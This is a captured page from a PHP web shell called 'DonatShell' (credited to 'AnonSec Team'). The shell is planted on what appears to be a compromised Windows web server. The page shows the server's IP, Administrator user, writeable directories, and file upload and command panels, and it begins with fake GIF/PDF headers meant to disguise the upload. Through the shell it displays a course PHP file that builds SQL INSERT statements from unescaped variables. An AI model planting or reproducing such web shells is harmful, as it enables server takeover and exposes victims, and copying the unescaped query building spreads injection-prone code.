GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST2146/_Archive/_info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST2146/_Archive/_info/infoINSERT.phpinc
<?
// infoINSERT.phpinc
if ($TRACK != '') $_SESSION['TRACK'] .= "<li><b>".basename(__FILE__)."</b> (".__FILE__.")\n<ol>\n"; doctype(__FILE__);
$query="SHOW COLUMNS FROM ".$table;
$fieldList = query_do($query,__FILE__,__LINE__);
$fieldCount = $_SESSION['mysql_num_rows'];
$isAlpha = array('date', 'time', 'year', 'char', 'blob', 'text', 'enum', 'set');
include('infoMenu.phpinc');
?>
<table><tr><td>
<p><fieldset><legend><?=$table?> INSERT</legend>
<form><textarea style="height:600px; width:978px;" wrap="off">
&lt;?
<?
$query = "\$query = \"INSERT INTO ".$table." ("."\n";
$querytable = "";
$field = array();
$quoteFront = array();
$quoteBack = array();
$quoteCount = 0;
while ($row = mysql_fetch_assoc($fieldList)) {
	$quoteFront[$quoteCount]=" ";
	$quoteBack[$quoteCount]="";
	for ($i = 0; $i < count($isAlpha); $i++) {
		if (strlen(stristr($row['Type'],$isAlpha[$i]))) { $quoteFront[$quoteCount]="'"; $quoteBack[$quoteCount]="'"; }
	}
	$field[$quoteCount] = $row['Field'];
	$quoteCount++;
	$query .= "&nbsp; ".$row['Field'].",\n";
}
$query = substr($query,0,strlen($query)-2);
$query .= "\n".")"." VALUES ("."\n";
for ($i = 0; $i < $quoteCount; $i++) {
	/*
	if ($field[$i] != "modifiedBy") {
		$query .= "&nbsp;".$quoteFront[$i]."\".\$f_".$field[$i].".\"".$quoteBack[$i].",\n";
	} else {
		$query .= "&nbsp;".$quoteFront[$i]."\".\$_SESSION['trueuserId'].\"".$quoteBack[$i].",\n";
	}
	*/
	if ($field[$i] != 'modifiedBy' && $field[$i] != 'entryBy' && ($field[$i] == 'userId' || substr($field[$i],strlen($field[$i])-2,2) == "By")) {
		$query .= "\n";
	}
	if ($field[$i] != 'modifiedBy' && $field[$i] != 'entryBy') {
		$query .= "&nbsp;".$quoteFront[$i]."\".\$f_".$field[$i].".\"".$quoteBack[$i].",\n";
	}
	if ($field[$i] == 'userId' || substr($field[$i],strlen($field[$i])-2,2) == "By") {
		// $_SESSION['trueuserId']
		$query .= "&nbsp;".$quoteFront[$i]."\".\$_SESSION['trueuserId'].\"".$quoteBack[$i].",\n";
	}
}
$query = substr($query,0,strlen($query)-2);
$query .= "\n".")\";";
echo $query."\n\$".$table."Insert = query_do(\$query,__FILE__,__LINE__);"."\n";
?>
?&gt;
</textarea></form>
</fieldset></p>
</td></tr></table>
<?
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team